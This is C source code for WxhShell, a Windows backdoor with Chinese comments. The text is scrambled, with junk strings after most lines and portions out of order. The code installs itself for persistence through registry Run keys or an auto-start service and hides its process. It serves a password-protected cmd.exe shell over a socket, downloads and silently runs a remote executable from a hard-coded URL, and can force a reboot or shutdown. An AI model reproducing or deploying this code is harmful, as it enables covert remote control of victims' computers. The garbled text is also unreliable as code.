    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ctQ/wrkU  
    else { :FF=a3/"6  
    closesocket(wsh); &{:-]g\  
    ExitThread(0); gXU8hTd8  
    } `[A];]  
    break; 6]N.%Y[(  
    } )X7A  
  // 获取shell ?dTD\)%A  
  case 's': { }p V:M{Nu&  
    CmdShell(wsh); /r 5eWR1G  
    closesocket(wsh); y =@N|f!  
    ExitThread(0); 4H/OBR  
    break; SbZ6t$"  
  } )b)zm2;  
  // 退出 /v}`l  
  case 'x': { z?zL97H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >_} I.\ X  
    CloseIt(wsh); }H2 R3icE  
    break; qs6aB0ln  
    } iZ%yd-  
  // 离开 9WHddDA  
  case 'q': { HW|IILFB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7)m9"InDI  
    closesocket(wsh); 1C.VnzRnJ  
    WSACleanup(); :UdF  
    exit(1); }Z>)DN=+  
    break; Bvj0^fSm  
        } 2%1hdA<  
  } rqq1TRg  
  } *hrd5na  
+\'t E~V  
  // 提示信息 L];b< *d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rQXzR  
} |ZBw<f  
  } *:1ey{w:  
y(Td/rY.  
  return; 9uY'E'm*  
} <3iMRe  
0(I j%Wi,  
// shell模块句柄 )jj0^f1!j  
int CmdShell(SOCKET sock) J,G lIv.A  
{ )0MB9RMk1  
STARTUPINFO si; \v{=gK  
ZeroMemory(&si,sizeof(si)); V~bD)?M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X]=t>   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V]&\fk-{  
PROCESS_INFORMATION ProcessInfo; R]dg_Da  
char cmdline[]="cmd"; ^aQ"E9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g}i61(  
  return 0; ]_Xlq_[/r  
} Ru XC(qcq  
=;k|*Ny  
// 自身启动模式 neh(<>  
int StartFromService(void) "b[5]Y{ U  
{ @o^Ww  
typedef struct l2d{ 73h  
{ l0] EX>"E  
  DWORD ExitStatus; 4 :=]<sc,  
  DWORD PebBaseAddress; a?.=V  
  DWORD AffinityMask; @;kSx":b  
  DWORD BasePriority; |}1dFp  
  ULONG UniqueProcessId; hph4`{T  
  ULONG InheritedFromUniqueProcessId; h![#;>(  
}   PROCESS_BASIC_INFORMATION; f?b"iA(6  
P2!C|SLK  
PROCNTQSIP NtQueryInformationProcess; ,[Fb[#Qqb  
l,: F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q&&@v4L   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m* ;ERK  
v:p}B$  
  HANDLE             hProcess; g>sSS8R O  
  PROCESS_BASIC_INFORMATION pbi; z2c6T.1M  
DJir{ \F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zzz3Bq~  
  if(NULL == hInst ) return 0; 07)yG:q*x  
ddo#P%sH'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BHw, 4#F1;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); . .-hAH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5r_|yu  
D0C y^_  
  if (!NtQueryInformationProcess) return 0;  IB<d  
t Pf40`@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $cR{o#  
  if(!hProcess) return 0; i!cCMh8  
p7Cs.2>M>S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yN c2@  
KG@8RtHsQ  
  CloseHandle(hProcess); 8f7>?BUS,  
| 3%8&@ho  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7|D+Ihy;  
if(hProcess==NULL) return 0; {[(h[MW#  
OTp]Xe/  
HMODULE hMod; P$sxr  
char procName[255]; @KA4N`  
unsigned long cbNeeded; V:27)]q  
]~%6JJN7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jtc~DL  
$|@ r!/W  
  CloseHandle(hProcess); PX99uWx5]  
qNr} \J|  
if(strstr(procName,"services")) return 1; // 以服务启动 {U1m.30n  
XM}hUJJW  
  return 0; // 注册表启动 Q^I\cAIB  
} a6H%5N  
,P Z ge  
// 主模块 BC]?0 U  
int StartWxhshell(LPSTR lpCmdLine) x:7IIvP  
{ {|\.i  
  SOCKET wsl; KF/-wZ"1s  
BOOL val=TRUE; bx Wa oWE0  
  int port=0; +O5hH8<&b  
  struct sockaddr_in door; V+~Nalm O  
+>9Q/E  
  if(wscfg.ws_autoins) Install(); ap~^Ty<>  
Ewm9\qmg  
port=atoi(lpCmdLine); GF WA>5n'  
mqJ_W[y7  
if(port<=0) port=wscfg.ws_port; >f'g0g  
&/b~k3{M_  
  WSADATA data; MPk5^ua:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rs.M]8a2{&  
8V(pugJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PVOv[%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Vg23!E  
  door.sin_family = AF_INET; njw|JnDv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tf)*4O4@'  
  door.sin_port = htons(port); fAmz4  
y==CT Y@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $SE^S   
closesocket(wsl); 1 .X@;  
return 1; pNIf=lA  
} y?:.;%!E  
x m@_IL&P  
  if(listen(wsl,2) == INVALID_SOCKET) { qFNes)_r  
closesocket(wsl); 2 FFD%O05  
return 1; 05k0n E  
} |CzSU1ma  
  Wxhshell(wsl); ]_f<kW\1*  
  WSACleanup(); 2m[<]$  
6R5Qy]]E  
return 0; ;GI&lpKK  
m`_ONm'T&  
} 4aY|TN/|  
d/Q%IeEL.  
// 以NT服务方式启动 )ANmIwmC#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ERt{H3eCcJ  
{ X76e&~  
DWORD   status = 0; }T$p)"  
  DWORD   specificError = 0xfffffff; f {"?%Ku#  
0L KRN|@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s0_nLbWwO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aA TA9V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qv*^fiT  
  serviceStatus.dwWin32ExitCode     = 0; e]tDy0@  
  serviceStatus.dwServiceSpecificExitCode = 0; h@h!,;  
  serviceStatus.dwCheckPoint       = 0; 2Gdd*=4z  
  serviceStatus.dwWaitHint       = 0; RGU\h[  
r4f~z$QK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TU7' J  
  if (hServiceStatusHandle==0) return; rt| 7h>RQ  
nvUc\7(%NW  
status = GetLastError(); 'eX '  
  if (status!=NO_ERROR) F\KUZ[%  
{ l (%1jC8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JLJ;TM'4=  
    serviceStatus.dwCheckPoint       = 0; "Yca%:  
    serviceStatus.dwWaitHint       = 0; @]#1(9P  
    serviceStatus.dwWin32ExitCode     = status; +@:x!q|^  
    serviceStatus.dwServiceSpecificExitCode = specificError; ym6K !i]q4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ujucZ9}yd  
    return; @fV9 S"TcM  
  } 69 o 7EA  
.}`Ix'.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6(e>P)  
  serviceStatus.dwCheckPoint       = 0; l0hlM#  
  serviceStatus.dwWaitHint       = 0; _7)n(1h[3b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ->{KVPHe{  
} +H2-ZXr  
'Qo*y%{@5  
// 处理NT服务事件,比如:启动、停止 $2el&I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;ZG\p TCA  
{ 65m"J'  
switch(fdwControl) ^Q^_?~h*!  
{ -o.:P>/  
case SERVICE_CONTROL_STOP: W"3ph6[eW  
  serviceStatus.dwWin32ExitCode = 0; "x /OIf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _Y[bMuUb=  
  serviceStatus.dwCheckPoint   = 0; 1>&]R=  
  serviceStatus.dwWaitHint     = 0; 9<)NvU^-r  
  { (Clkv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F*K_+ ?m  
  } c7E11 \%&Z  
  return; OaZQ7BGq  
case SERVICE_CONTROL_PAUSE: )tnh4WMh}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IyPnp&_  
  break; 2,P^n4~A?w  
case SERVICE_CONTROL_CONTINUE: I,'k>@w{s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q?/o%`N  
  break; UEVG0qF  
case SERVICE_CONTROL_INTERROGATE: 63~ E#Dt4  
  break; 9?3&?i2-  
}; <V6VMYXY4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wsVV$I[2  
} @{pLk4E  
:$9tF >  
// 标准应用程序主函数 2Q"K8=s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .@Dxp]/B}  
{ 0k(a VkZ I  
19KQlMO.G  
// 获取操作系统版本 9]wN Bd  
OsIsNt=GetOsVer(); m7>JJX3=<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [\b 0Lem  
8&Y^""#e)  
  // 从命令行安装 M+9gL3W  
  if(strpbrk(lpCmdLine,"iI")) Install(); #`X?=/q  
ApXy=?fc  
  // 下载执行文件 f8.gT49I  
if(wscfg.ws_downexe) { G<^{&E+=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MO <3"@/,  
  WinExec(wscfg.ws_filenam,SW_HIDE); q\527^ZM  
} LAe6`foW/  
4vV:EF-  
if(!OsIsNt) { +|>kCtZH%  
// 如果时win9x,隐藏进程并且设置为注册表启动 }k G9!sf  
HideProc(); we?76t:-  
StartWxhshell(lpCmdLine); N<KS(@v y  
} p`#R<K  
else *~j@*{u  
  if(StartFromService()) q,U+qt  
  // 以服务方式启动 f! .<$ih  
  StartServiceCtrlDispatcher(DispatchTable); _aMPa+D=P  
else Yr=Y@~ XL  
  // 普通方式启动 h@]XBv  
  StartWxhshell(lpCmdLine); Bv%GJ*>>  
l/ ;  
return 0; "4,?uPi  
} ">j j  
{Wu$YWE*sx  
yw3$2EW  
Y<ql49-X  
=========================================== 9 ea\vZ  
~B(4qK1G  
f_Av3  
X=8{$:  
M b1s F  
WPG(@zD  
" M*H nM(  
f\>M'{cV  
#include <stdio.h> "E?2xf|.  
#include <string.h> Hi`//y*92H  
#include <windows.h> @)&=%  
#include <winsock2.h> n%s]30Xs  
#include <winsvc.h> "?I y(*^  
#include <urlmon.h> 2WVka  
(<oy N7NT  
#pragma comment (lib, "Ws2_32.lib") ?r2` Q  
#pragma comment (lib, "urlmon.lib") LRG6:&  
&wE%<"aRAl  
#define MAX_USER   100 // 最大客户端连接数 o\pVpbB  
#define BUF_SOCK   200 // sock buffer 2nIw7>.}f  
#define KEY_BUFF   255 // 输入 buffer E5lBdM>2  
/U)D5ot<  
#define REBOOT     0   // 重启  *m,k(/>  
#define SHUTDOWN   1   // 关机 Nf"r4%M<6  
oVe|M ss6  
#define DEF_PORT   5000 // 监听端口 zY!j:FT1HY  
7 uKY24  
#define REG_LEN     16   // 注册表键长度 `o8/(`a  
#define SVC_LEN     80   // NT服务名长度 s^uS1  
K]" #C  
// 从dll定义API [ )dXIIM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JU5C}%Q6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b4ONh%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A_5P/ARmI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0h\smqm  
Fv<F}h?6  
// wxhshell配置信息 .KUv( -  
struct WSCFG { Z%/=|[9i  
  int ws_port;         // 监听端口 }YNR"X9*)/  
  char ws_passstr[REG_LEN]; // 口令 NI [ pp`  
  int ws_autoins;       // 安装标记, 1=yes 0=no hPePB=  
  char ws_regname[REG_LEN]; // 注册表键名 364`IC( a  
  char ws_svcname[REG_LEN]; // 服务名 9g"2^^wD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i||]V*5n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wN-d'-z/rd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 scou%K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GV69eG3bX#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1@1U/ss1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =i*;VFc  
]4]6Qki  
}; %)I{%~u0  
h*$y[}hDuv  
// default Wxhshell configuration b8SHg^}  
struct WSCFG wscfg={DEF_PORT, AKyUfAj3  
    "xuhuanlingzhe", a (b#  
    1, lqZ5?BD1  
    "Wxhshell", m?fy^>1  
    "Wxhshell", ZR?yDgL  
            "WxhShell Service", )PuFuf(wz  
    "Wrsky Windows CmdShell Service", ?>rW>U6:P  
    "Please Input Your Password: ", ~W+kiTsD?  
  1, j=aI9p  
  "http://www.wrsky.com/wxhshell.exe", g8xQ|px  
  "Wxhshell.exe" =U|.^5sa#  
    }; VAf1" )pC  
;he"ph=>  
// 消息定义模块 ,N[7/kT|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _i|t Y4L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3ojlB|Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %<*g!y `  
char *msg_ws_ext="\n\rExit."; HbA kZP  
char *msg_ws_end="\n\rQuit."; 0ANZAX5  
char *msg_ws_boot="\n\rReboot..."; kZZh"#W: L  
char *msg_ws_poff="\n\rShutdown..."; cm[&?  
char *msg_ws_down="\n\rSave to "; Dq5j1m.  
FrYqaP  
char *msg_ws_err="\n\rErr!"; p@5`& Em,  
char *msg_ws_ok="\n\rOK!"; vchm"p?9)  
k+Czj  
char ExeFile[MAX_PATH]; 8b-Q F  
int nUser = 0; A?%H=>v$  
HANDLE handles[MAX_USER]; r )~ T@'y  
int OsIsNt; Vq\`+&A  
S` ;?z  
SERVICE_STATUS       serviceStatus; X/2&!O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >eB\(EP  
F,MO@&ue"  
// 函数声明 ^T$|J;I  
int Install(void); RBm ;e0  
int Uninstall(void); vUU9$x  
int DownloadFile(char *sURL, SOCKET wsh); o .G!7  
int Boot(int flag); <55 g3>X  
void HideProc(void); C/kW0V7  
int GetOsVer(void); Vz~nT  
int Wxhshell(SOCKET wsl); (Cd\G=PK  
void TalkWithClient(void *cs); J/GSceHF  
int CmdShell(SOCKET sock); $[&*Bj11Yg  
int StartFromService(void); G <f@#[$'  
int StartWxhshell(LPSTR lpCmdLine); af+IP_6 .  
80/F7q'tn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .#Z%1U%P.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #9xd[A : N  
m{uxI za  
// 数据结构和表定义 )3w@]5j  
SERVICE_TABLE_ENTRY DispatchTable[] = % !>I*H  
{ #+5pgD2C  
{wscfg.ws_svcname, NTServiceMain}, aL%AQB,  
{NULL, NULL} muZ~*kMc  
}; 9Hu/u=vB<  
JSW}*HR  
// 自我安装 X+}1  
int Install(void) "4H +!r}  
{ ^Z# W_R\l  
  char svExeFile[MAX_PATH]; V<@ o<R  
  HKEY key; y_IM@)1H~  
  strcpy(svExeFile,ExeFile); yo )%J  
YmgLzGk`  
// 如果是win9x系统,修改注册表设为自启动 ?5 cI'  
if(!OsIsNt) { mvZw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,7NZu0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .0rh y2  
  RegCloseKey(key); "zFNg';  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u r@Z|5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TGe;HZ  
  RegCloseKey(key); T{Uc:Z  
  return 0; c|62jY"$-2  
    } *2Ht &  
  } rZ^v?4Z\  
} I_rO!  
else { fCtPu08{Z  
<-S%kA8  
// 如果是NT以上系统,安装为系统服务 a@*S+3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4^Q :  
if (schSCManager!=0)  {=QiZWu  
{ qt 2d\f  
  SC_HANDLE schService = CreateService S.q].a  
  ( +H #U~p$  
  schSCManager, F>[,zN  
  wscfg.ws_svcname, ;Uu(zhbj  
  wscfg.ws_svcdisp, meks RcF  
  SERVICE_ALL_ACCESS, mPP`xL?T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p>;_e(  
  SERVICE_AUTO_START, `zXO_@C  
  SERVICE_ERROR_NORMAL, #ap9Yoyk\  
  svExeFile, WT`4s  
  NULL, ixQJ[fH10  
  NULL, XW s"jt  
  NULL, :2-pjkhiwY  
  NULL, R&';Oro  
  NULL hQHnwr  
  ); ?0oUS+lU  
  if (schService!=0) mAW, ?h  
  { ' n$ %Ls}S  
  CloseServiceHandle(schService); h!:~f-@j4  
  CloseServiceHandle(schSCManager); ]U7KLUY>:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q)vplV1A  
  strcat(svExeFile,wscfg.ws_svcname); sx51X^d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "=za??\K}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iVTGF<  
  RegCloseKey(key); ~Oq +IA~9  
  return 0; X>. NFB  
    } *@)O7vB  
  } R@#G>4  
  CloseServiceHandle(schSCManager); z,bQQ;z9  
} w MP  
} ' dx1x6  
nn9wdt@.]  
return 1; O Wj@< N  
} k{$ ao  
FEW_bP/4  
// 自我卸载 z2hc.29t  
int Uninstall(void) \$OF1i@  
{ @b~fIW_3>  
  HKEY key; 9Q-*@6G  
(N=5 .7"T  
if(!OsIsNt) { { e5/+W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tP%{P"g3^  
  RegDeleteValue(key,wscfg.ws_regname); -cm$[,b6  
  RegCloseKey(key); g{9+O7q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -,{-bi  
  RegDeleteValue(key,wscfg.ws_regname); ]B]*/  
  RegCloseKey(key); ]$\|ktY!  
  return 0; m7GR[MR  
  } u=/CRjot  
} pOkLb #  
} JiU9CeD3  
else { ?8mlZ X9C  
U}l14  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zf>5,k'x'A  
if (schSCManager!=0) FwZ>{~?3  
{ ~/ilx#d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^F"iP7   
  if (schService!=0) @*DyZB  
  { \ y{Tn@7  
  if(DeleteService(schService)!=0) { T=:]]nf?M  
  CloseServiceHandle(schService); )Cw`"n  
  CloseServiceHandle(schSCManager); ;kJA'|GX  
  return 0; i^!ez5z  
  } &"mzwQX  
  CloseServiceHandle(schService); Q;J`Q wkH  
  } 6q6FB  
  CloseServiceHandle(schSCManager); eBO@7F$  
} z>06hBv(?Y  
} "AhTH.ZP  
G>+1*\c  
return 1; vuFBET,  
} 7 +@qB]Bi<  
=}:)y0L  
// 从指定url下载文件 BMIyskl=i  
int DownloadFile(char *sURL, SOCKET wsh) @IP)S[^' t  
{ nbTVU+  
  HRESULT hr; HH>:g(bu  
char seps[]= "/"; 1uk 0d`JL  
char *token; 3o|I[!2.  
char *file; ,mL !(US  
char myURL[MAX_PATH]; k%op> &  
char myFILE[MAX_PATH]; v^7LctcVm  
EK$Kee}~  
strcpy(myURL,sURL); vHE^"l5v  
  token=strtok(myURL,seps); K!mOr  
  while(token!=NULL) b]JI@=s?  
  { J!*/a'Cv  
    file=token; 'XUKN/.  
  token=strtok(NULL,seps); 7RvUH-S[  
  } &X]\)`j0  
2.X"f  
GetCurrentDirectory(MAX_PATH,myFILE); UP{j5gR:_  
strcat(myFILE, "\\"); Y}DonF  
strcat(myFILE, file); =0'q!}._!  
  send(wsh,myFILE,strlen(myFILE),0); ] k8/#@19  
send(wsh,"...",3,0); irZFV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kw`VrcwjT  
  if(hr==S_OK) eb8w~   
return 0; s $*'^:   
else x)_@9ldYv  
return 1; m%8q Zzqk  
DBs*F x[  
} 1]T`n/d V  
2 qO3XI  
// 系统电源模块 {3Vk p5%l  
int Boot(int flag) U\?g*  
{ g3%t8O/M  
  HANDLE hToken; ro[Y-o5Q0  
  TOKEN_PRIVILEGES tkp; Fequm+  
-n? g~(/P  
  if(OsIsNt) { zK+52jhi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OW(&s,|6x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,s^<X85gp\  
    tkp.PrivilegeCount = 1; 6dEyv99  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PZD>U)M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rB%$;<`/  
if(flag==REBOOT) { =N|kn<h4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^SfS~G Q  
  return 0; +tN &a  
} S2VVv$r_6  
else { Q^Bt1C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D["MUB4l  
  return 0; jRpdft  
} 2~;&g?T6  
  } 0%;146.p  
  else { bxXiQa  
if(flag==REBOOT) { U~2`P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oT|m1aGE  
  return 0; ,`8Y8  
} '7im  
else { dy>|c j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n!He&  
  return 0; sxED7,A  
} 0D(cXzQP  
} R& =f:sEi  
8"vwU@cfC  
return 1; >LF&EM]  
} ! qJI'+_  
e^$j5jV  
// win9x进程隐藏模块 H%z@h~s>  
void HideProc(void) .#5l$['  
{ &}`K^5K|O:  
aP>37s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1{2eY%+C  
  if ( hKernel != NULL ) !|m9|  
  { ! ]Mc4!E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \`,xgC9K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ca$c;  
    FreeLibrary(hKernel); " B@jfa%  
  } X^@[G8v%  
BZ F,=v  
return; e"+dTq8W  
} hQgN9S5P  
S9Yt1qb  
// 获取操作系统版本 3#<* k>1G?  
int GetOsVer(void) / axTh  
{ QlW=_Ymv{  
  OSVERSIONINFO winfo; <kD#SV%"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y?N Nz0  
  GetVersionEx(&winfo); LN!W(n(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /b.oEGqZX  
  return 1; ".2A9]_s  
  else 4^!4eyQ^  
  return 0; 9|!j4DS<  
} }&G]0hCT!  
IvW@o1Q  
// 客户端句柄模块 ?G/hJ?3  
int Wxhshell(SOCKET wsl) iG[? ]]  
{ Ds5N Ap:x  
  SOCKET wsh; ^@}#me@  
  struct sockaddr_in client; Eqphd!\#6  
  DWORD myID; (buw^ ,NwZ  
< `Z%O<X  
  while(nUser<MAX_USER) cINHH !v  
{ +*t|yKO>[  
  int nSize=sizeof(client); Z%v6xP.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jFj~]]j  
  if(wsh==INVALID_SOCKET) return 1; vg5NY =O  
B2hfD-h,>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E5B8 Z?$a  
if(handles[nUser]==0) H(\V+@~>AD  
  closesocket(wsh); i@$-0%,  
else b4~H3|  
  nUser++; H,>#|F  
  } 'H=weH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KP~-$NR  
!.+"4TF  
  return 0; J`Oy.Qu)  
} =FBIrw{w  
6f}e+80  
// 关闭 socket |R'i:=  
void CloseIt(SOCKET wsh) ?*K<*wBw#  
{ ,ZK]i CGk  
closesocket(wsh); b]`^KTYK  
nUser--; Jqg3.2q  
ExitThread(0); aW@oE ~`  
} PqhlXqX9  
VBx,iuaw  
// 客户端请求句柄 8t9aHla  
void TalkWithClient(void *cs) Y(GW0\<  
{ SLA#= K  
>}F?<JB  
  SOCKET wsh=(SOCKET)cs; L<@&nx   
  char pwd[SVC_LEN]; $'$>UFR  
  char cmd[KEY_BUFF]; &"j@79Ym1~  
char chr[1]; !P"?  
int i,j; B+D`\Nlo  
fSV5  
  while (nUser < MAX_USER) { n|]N7 b'  
h[l{ 5Z*  
if(wscfg.ws_passstr) { U,3d) ]Zy&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .S|-4}G(6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3LrsWAz'  
  //ZeroMemory(pwd,KEY_BUFF); j_pw^I$C  
      i=0; &HxT41pku  
  while(i<SVC_LEN) { WLy7'3@  
B,0+HoP  
  // 设置超时 X RRJ)}P  
  fd_set FdRead; >q&L/N5  
  struct timeval TimeOut; fm6]CU1^  
  FD_ZERO(&FdRead); l\U*sro<  
  FD_SET(wsh,&FdRead); ;qT5faKB3J  
  TimeOut.tv_sec=8; fMB4xbpD  
  TimeOut.tv_usec=0; 6bJ"$o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O<a3DyUa;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U]j&cFbn5_  
u<q)SQ1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jf7pl8gv  
  pwd=chr[0]; Y\>\[*.v  
  if(chr[0]==0xd || chr[0]==0xa) { !47A$sQ  
  pwd=0; 'WzUu MCx  
  break; Q=XA"R  
  } $9m5bQcV  
  i++; D'?]yyrf  
    } \I xzdFF#  
0nT%Slbih  
  // 如果是非法用户,关闭 socket ct.Bg)E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b.(XS?4o  
} T]X{ @_  
f<=^ 4a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s KCGuw(mh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $Q,n+ /  
n% U9iwJ.  
while(1) { ;.r2$/E  
}1\?()rB  
  ZeroMemory(cmd,KEY_BUFF); 7C YH'DL  
Rh yegD  
      // 自动支持客户端 telnet标准   sx90lsu  
  j=0; ^~*8 @v""  
  while(j<KEY_BUFF) { H>Sf[8w)%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wb'*lT0=  
  cmd[j]=chr[0]; 1YFAr}M  
  if(chr[0]==0xa || chr[0]==0xd) { x/[8Wi,yB  
  cmd[j]=0; K5+!(5V~  
  break; %)dI2 J^Xf  
  } (mY(\mu}  
  j++; -|$*l Q  
    } e Ri!\Fx  
_jk|}IB;X  
  // 下载文件 3v G  
  if(strstr(cmd,"http://")) { o[2Y;kP3*P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1y(iE C  
  if(DownloadFile(cmd,wsh)) ] :GfOgo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |/2LWc?  
  else (S3jZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `-5cQ2>"  
  } 78^Y;2 P]W  
  else { =>.DD<g"  
j@_nI~7f}  
    switch(cmd[0]) { 0ZFB4GL  
  ^U" q|[qy  
  // 帮助 Vz k cZK  
  case '?': { B_b8r7Vn`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d[yrNB6|  
